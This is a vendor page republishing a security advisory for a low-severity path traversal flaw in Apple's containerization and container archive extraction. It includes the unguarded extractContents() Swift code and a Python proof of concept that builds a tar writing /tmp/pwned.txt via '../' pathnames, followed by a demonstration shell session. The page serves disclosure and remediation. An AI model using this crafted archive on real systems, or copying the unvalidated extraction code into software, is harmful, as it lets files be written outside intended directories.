CVE-2026-20613

CVE-2026-20613 is a low-severity path traversal vulnerability in github.com/apple/containerization (swift), affecting versions <= 0.20.1. It is fixed in 0.21.0, 0.8.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Container and Containerization archive extraction does not guard against escapes from extraction base directory.

The ArchiveReader.extractContents() function used by cctl image load and container image load performs no pathname validation before extracting an archive member. This means that a carelessly or maliciously constructed archive can extract a file into any user-writable location on the system using relative pathnames.

Details

The code in question is: https://github.com/apple/containerization/blob/main/Sources/ContainerizationArchive/Reader.swift#L180.

    /// Extracts the contents of an archive to the provided directory.
    /// Currently only handles regular files and directories present in the archive.
    public func extractContents(to directory: URL) throws {
        let fm = FileManager.default
        var foundEntry = false
        for (entry, data) in self {
            guard let p = entry.path else { continue }
            foundEntry = true
            let type = entry.fileType
            let target = directory.appending(path: p)
            switch type {
            case .regular:
                try data.write(to: target, options: .atomic)
            case .directory:
                try fm.createDirectory(at: target, withIntermediateDirectories: true)
            case .symbolicLink:
                guard let symlinkTarget = entry.symlinkTarget, let linkTargetURL = URL(string: symlinkTarget, relativeTo: target) else {
                    continue
                }
                try fm.createSymbolicLink(at: target, withDestinationURL: linkTargetURL)
            default:
                continue
            }
            chmod(target.path(), entry.permissions)
            if let owner = entry.owner, let group = entry.group {
                chown(target.path(), owner, group)
            }
        }
        guard foundEntry else {
            throw ArchiveError.failedToExtractArchive("no entries found in archive")
        }
    }

PoC

Sample script make-evil-tar.py:

#! /usr/bin/env python3

import tarfile
import io
import time

tar_path = "evil.tar"

# Content of the file inside the tar
payload = b"pwned\n"

with tarfile.open(tar_path, "w") as tar:
    info = tarfile.TarInfo(
        name="../../../../../../../../../../../tmp/pwned.txt"
    )
    info.size = len(payload)
    info.mtime = int(time.time())
    info.mode = 0o644

    tar.addfile(info, io.BytesIO(payload))

print(f"Created {tar_path}")
% ./make-evil-tar.py
Created evil.tar
% mv evil.tar /tmp
% cd /tmp
% ls pwned.txt
ls: pwned.txt: No such file or directory
% ~/projects/jglogan/containerization/bin/cctl images load -i evil.tar
Error: notFound: "/var/folders/6k/tnyh0vfd07z0f9mr5cg7zs5r0000gn/T/8493984C-33AE-44BB-91BB-AE486F3095FC/oci-layout"
% cat pwned.txt 
pwned

Impact

Affects users of cctl image load in the containerization project, and any projects that depend on containerization and use the extractContent() function.

Affects users of container image load in the container project.

These operations can extract a file into any user-writable location on the system using carefully chosen pathnames. This advisory is not a privilege escalation, the affected files can only be written to already user-writable locations.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

github.com/apple/containerization (<= 0.20.1) github.com/apple/container (<= 0.7.1)

Security releases

github.com/apple/containerization → 0.21.0 (swift) github.com/apple/container → 0.8.0 (swift)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

github.com/apple/containerization to 0.21.0 or later; github.com/apple/container to 0.8.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-20613? CVE-2026-20613 is a low-severity path traversal vulnerability in github.com/apple/containerization (swift), affecting versions <= 0.20.1. It is fixed in 0.21.0, 0.8.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. Which packages are affected by CVE-2026-20613?
    • github.com/apple/containerization (swift) (versions <= 0.20.1)
    • github.com/apple/container (swift) (versions <= 0.7.1)
  3. Is there a fix for CVE-2026-20613? Yes. CVE-2026-20613 is fixed in 0.21.0, 0.8.0. Upgrade to this version or later.
  4. Is CVE-2026-20613 exploitable, and should I be worried? Whether CVE-2026-20613 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-20613 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-20613?
    • Upgrade github.com/apple/containerization to 0.21.0 or later
    • Upgrade github.com/apple/container to 0.8.0 or later

Stop the waste.
Protect your environment with Kodem.